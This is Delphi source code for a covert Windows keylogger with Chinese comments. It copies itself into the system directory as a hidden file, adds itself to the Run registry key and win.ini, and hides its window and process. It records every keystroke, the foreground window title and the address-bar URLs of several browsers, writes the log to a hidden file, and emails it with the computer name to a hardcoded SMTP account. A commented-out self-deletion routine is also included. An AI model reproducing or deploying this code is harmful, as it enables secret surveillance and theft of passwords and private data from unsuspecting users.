//再加点内容 :"文件隐藏","邮件发送","记录网页地址"
unit Unit1;
interface
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs,Registry,CoolTrayIcon, StdCtrls,IdSMTP,IdMessage, ExtCtrls,HideProcess;
type TForm1 = class(TForm) Memo_gettxt: TMemo; Timer_Sender: TTimer; Timer_Save: TTimer; Timer_keyrec: TTimer; procedure FormCreate(Sender: TObject); procedure Timer_keyrecTimer(Sender: TObject); procedure Timer_SaveTimer(Sender: TObject); procedure Timer_SenderTimer(Sender: TObject); private FobjTrayIcon: TCoolTrayIcon; FtxtFileName : string; LastCaption : string; AppPath : string; AppName : string; Procedure RegRun; // procedure DeleteMe; { Private declarations } public property objTrayIcon : TCoolTrayIcon Read FobjTrayIcon write FobjTrayIcon; procedure SendMail; { Public declarations } end;
function EnumWindowsProc(hwnd: THandle; lParam: LPARAM): boolean; stdcall;
var Form1: TForm1; WWWAdr : string;
implementation
{$R *.dfm}
procedure TForm1.RegRun; var reg:tregistry; begin //写入注册表 reg:=tregistry.create; try reg.rootkey:=HKEY_LOCAL_MACHINE; reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true); reg.WriteString('SysIco',AppPath + '\' + AppName); reg.closekey; finally reg.free; end; //写入win.ini WritePrivateProfileString('windows','load', PChar(AppPath + '\' + AppName),'c:\windows\win.ini'); WritePrivateProfileString('windows','run', PChar(AppPath + '\' + AppName),'c:\windows\win.ini');
end;
procedure TForm1.FormCreate(Sender: TObject); var strBuffer : Array[0..254] of Char; hmutex:hwnd; errno:integer; begin //获取系统目录 GetSystemDirectory(@strBuffer,255); AppPath := StrPas(@strBuffer); AppName := 'sysLog.exe';
if not FileExists(AppPath + '\' + AppName) then begin CopyFile(pansichar(Application.ExeName), pansichar(AppPath + '\' + AppName),False); //隐藏文件 FileSetAttr(AppPath + '\' + AppName,1+2+3); WinExec(pchar(AppPath + '\' + AppName),SW_HIDE); Application.Terminate; end; //注册启动程序 RegRun; //判断是否重复运行 hmutex:=createmutex(nil,false,pchar(application.Title)); errno:=getlasterror; if errno=error_already_exists then begin application.Terminate; end;
FtxtFileName := appPath + '\boob.btk'; objTrayIcon := TCoolTrayIcon.Create(self);
objTrayIcon.IconVisible := False; end;
procedure TForm1.SendMail; var SMTP : TIdSMTP; MgeSend : TIdMessage; sBuffer : array[0..254] of char; cmpName : string; sSize: Cardinal; txtContent : string; str : string; F : textFile; begin //发送邮件 sSize := 255; cmpName := 'KeyRec'; txtContent := '没有内容'; //获取电脑名称 if GetComputerName(@sBuffer, sSize) then begin cmpName := StrPas(@sBuffer); end;
SMTp := TIdSMTP.Create(nil); MGeSend := TIdMessage.Create(nil); try if FileExists(FtxtFileName) Then begin //读取内容 txtContent := ''; AssignFile(F,FtxtFileName);// Reset(F); while not Eof(F) do begin Readln(F,str); txtContent := txtContent + str; end; CloseFile(F); //tidattachment.Create(MgeSend.MessageParts,FileName); //带附件 end; if Trim(txtContent) = '' then begin Exit; end;
try SMTP.Host:='smtp.163.com'; smtp.Username:='yl52020_tmp@163.com'; smtp.Password:='9999999999'; Smtp.AuthenticationType := atLogin; smtp.Port:=25; if not smtp.Connected then begin smtp.Connect(); end;
MgeSend.Recipients.EMailAddresses:='yl52020_tmp@163.com'; MgeSend.From.Text :='yl52020_tmp@163.com'; MgeSend.Subject:= DateTimeToStr(Now) + '_' + cmpName ; MgeSend.Body.Text:= txtContent; SMTP.Authenticate; Smtp.Send(mgeSend); except
end; if FileExists(FtxtFileName) Then begin DeleteFile(FtxtFileName) end; finally FreeAndNil(SMTP); FreeAndNil(MgeSend); end; end;
procedure TForm1.Timer_keyrecTimer(Sender: TObject); var i : byte; newCaption : string; hCurrentWindow : THandle; szText: array[0..254] of char; strOldWWWAdr : string; begin if self.Visible then begin self.Visible := False; ShowWindow(Application.Handle,SW_HIDE); //隐藏进程 MyHideProcess; end;
for i:=8 To 222 do begin if GetAsyncKeyState(i)=-32767 then begin //加载窗口标题 hCurrentWindow := getforegroundwindow; if hCurrentWindow <> 0 then begin If GetWindowText(hCurrentWindow, @szText, 255)> 0 Then begin if LastCaption <> Strpas(@szText) then begin Memo_gettxt.Text := Memo_gettxt.Text + '(' + Strpas(@szText) + ')'; end; LastCaption := Strpas(@szText); end; end; //如果是网页,加载网页地址 strOldWWWAdr := WWWAdr; EnumWindows(@EnumWindowsProc,0); if strOldWWWAdr <> WWWAdr then begin Memo_gettxt.Text := Memo_gettxt.Text + '{' + WWWAdr + '}'; end;
//记录按键 case i of 8 : Memo_gettxt.Lines[Memo_gettxt.Lines.count-1] := copy(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1],1,length(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1])-1); //Backspace 9 : Memo_gettxt.text:=Memo_gettxt.text+'[Tab]'; 13 : Memo_gettxt.text:=Memo_gettxt.text+#13#10; //Enter 17 : Memo_gettxt.text:=Memo_gettxt.text+'[Ctrl]'; 27 : Memo_gettxt.text:=Memo_gettxt.text+'[Esc]'; 32 :Memo_gettxt.text:=Memo_gettxt.text+' '; //Space // Del,Ins,Home,PageUp,PageDown,End 33 : Memo_gettxt.text := Memo_gettxt.text + '[Page Up]'; 34 : Memo_gettxt.text := Memo_gettxt.text + '[Page Down]'; 35 : Memo_gettxt.text := Memo_gettxt.text + '[End]'; 36 : Memo_gettxt.text := Memo_gettxt.text + '[Home]'; //Arrow Up Down Left Right 37 : Memo_gettxt.text := Memo_gettxt.text + '[Left]'; 38 : Memo_gettxt.text := Memo_gettxt.text + '[Up]'; 39 : Memo_gettxt.text := Memo_gettxt.text + '[Right]'; 40 : Memo_gettxt.text := Memo_gettxt.text + '[Down]';
44 : Memo_gettxt.text := Memo_gettxt.text + '[Print Screen]'; 45 : Memo_gettxt.text := Memo_gettxt.text + '[Insert]'; 46 : Memo_gettxt.text := Memo_gettxt.text + '[Del]'; 145 : Memo_gettxt.text := Memo_gettxt.text + '[Scroll Lock]';
//Number 1234567890 Symbol !@#$%^&*() 48 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+')' else Memo_gettxt.text:=Memo_gettxt.text+'0'; 49 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'!' else Memo_gettxt.text:=Memo_gettxt.text+'1'; 50 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'@' else Memo_gettxt.text:=Memo_gettxt.text+'2'; 51 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'#' else Memo_gettxt.text:=Memo_gettxt.text+'3'; 52 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'$' else Memo_gettxt.text:=Memo_gettxt.text+'4'; 53 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'%' else Memo_gettxt.text:=Memo_gettxt.text+'5'; 54 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'^' else Memo_gettxt.text:=Memo_gettxt.text+'6'; 55 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'&' else Memo_gettxt.text:=Memo_gettxt.text+'7'; 56 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'*' else Memo_gettxt.text:=Memo_gettxt.text+'8'; 57 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'(' else Memo_gettxt.text:=Memo_gettxt.text+'9'; 65..90 : // a..z , A..Z begin if ((GetKeyState(VK_CAPITAL))=1) then if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)) //a..z else Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z else if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z else Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)); //a..z end; //Win // 91 : Memo_gettxt.text:=Memo_gettxt.text+'[LWin]'; // 92 : Memo_gettxt.text:=Memo_gettxt.text+'[RWin]'; //Numpad 96..105 : Memo_gettxt.text:=Memo_gettxt.text + inttostr(i-96); //Numpad 0..9 106:Memo_gettxt.text:=Memo_gettxt.text+'*'; 107:Memo_gettxt.text:=Memo_gettxt.text+'&'; 109:Memo_gettxt.text:=Memo_gettxt.text+'-'; 110:Memo_gettxt.text:=Memo_gettxt.text+'.'; 111:Memo_gettxt.text:=Memo_gettxt.text+'/'; 144 : Memo_gettxt.text:=Memo_gettxt.text+'[Num Lock]';
112..123: //F1-F12 Memo_gettxt.text:=Memo_gettxt.text+'[F'+IntToStr(i - 111)+']';
186 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+':' else Memo_gettxt.text:=Memo_gettxt.text+';'; 187 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'+' else Memo_gettxt.text:=Memo_gettxt.text+'='; 188 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'<' else Memo_gettxt.text:=Memo_gettxt.text+','; 189 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'_' else Memo_gettxt.text:=Memo_gettxt.text+'-'; 190 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'>' else Memo_gettxt.text:=Memo_gettxt.text+'.'; 191 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'?' else Memo_gettxt.text:=Memo_gettxt.text+'/'; 192 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'~' else Memo_gettxt.text:=Memo_gettxt.text+'`'; 219 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'{' else Memo_gettxt.text:=Memo_gettxt.text+'['; 220 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'|' else Memo_gettxt.text:=Memo_gettxt.text+'\'; 221 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'}' else Memo_gettxt.text:=Memo_gettxt.text+']'; 222 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'"' else Memo_gettxt.text:=Memo_gettxt.text+''''; end; end; end; end;
procedure TForm1.Timer_SaveTimer(Sender: TObject); var F : TextFile; begin Assignfile(F,FtxtFileName); if not FileExists(FtxtFileName) Then begin Rewrite(F); Closefile(F); End Else Assignfile(F,FtxtFileName); {$I-} Append(F); {$I+} If IOResult<> 0 Then Begin // ShowMessage('Cannot Open File'); End;
Write(F,Memo_gettxt.Text); Memo_gettxt.Clear; Closefile(F); //隐藏文件 FileSetAttr(FtxtFileName,1+2+3); end;
procedure TForm1.Timer_SenderTimer(Sender: TObject); begin SendMail; end; //删除自身 { procedure TForm1.DeleteMe; var hModule: THandle; buff: array[0..255] of Char; hKernel32: THandle; pExitProcess, pDeleteFileA, pUnmapViewOfFile: Pointer;
begin hModule := GetModuleHandle(nil); GetModuleFileName(hModule, buff, sizeof(buff)); CloseHandle(THandle(4)); hKernel32 := GetModuleHandle('KERNEL32'); pExitProcess := GetProcAddress(hKernel32, 'ExitProcess'); pDeleteFileA := GetProcAddress(hKernel32, 'DeleteFileA'); pUnmapViewOfFile := GetProcAddress(hKernel32, 'UnmapViewOfFile'); asm LEA EAX, buff PUSH 0 PUSH 0 PUSH EAX PUSH pExitProcess PUSH hModule PUSH pDeleteFileA PUSH pUnmapViewOfFile RET end; end; }
function EnumWindowsProc(hwnd: THandle; lParam: LPARAM): boolean; stdcall; var classname: array[0..255] of char; addr: array[0..255] of char; edith: THandle; begin GetClassName(hwnd,classname,256); //IE浏览器 if classname = 'IEFrame' then begin edith:= findwindowex(hwnd,0,'WorkerW',nil); edith:= findwindowex(edith,0,'ReBarWindow32',nil); edith:= findwindowex(edith,0,'ComboBoxEx32',nil); sendmessage(edith,wm_gettext,256,Integer(@addr)); WWWAdr := addr; end; //遨游 if classname = 'Maxthon2_Frame' then begin edith:= findwindowex(hwnd,0,'XTPDockBar',nil); edith:= findwindowex(edith,0,'XTPToolBar','地址栏'); edith:= findwindowex(edith,0,'RichEdit20W',nil); sendmessage(edith,wm_gettext,256,Integer(@addr)); WWWAdr := addr; end; //世界 if classname = 'XFrame_Wnd' then begin edith:= findwindowex(hwnd,0,'XCtrl_Wnd',nil); edith:= findwindowex(edith,0,'XCtrl_Wnd','AddressBar'); edith:= findwindowex(edith,0,'XCtrl_Wnd',nil); sendmessage(edith,wm_gettext,256,Integer(@addr)); WWWAdr := addr; end; //腾迅 if Copy(classname,1,6) = 'ATL:00' then begin edith:= findwindowex(hwnd,0,'#32770',nil); edith:= findwindowex(edith,0,'ComboBox',nil); sendmessage(edith,wm_gettext,256,Integer(@addr)); WWWAdr := addr; end; result:= true; end;
end. |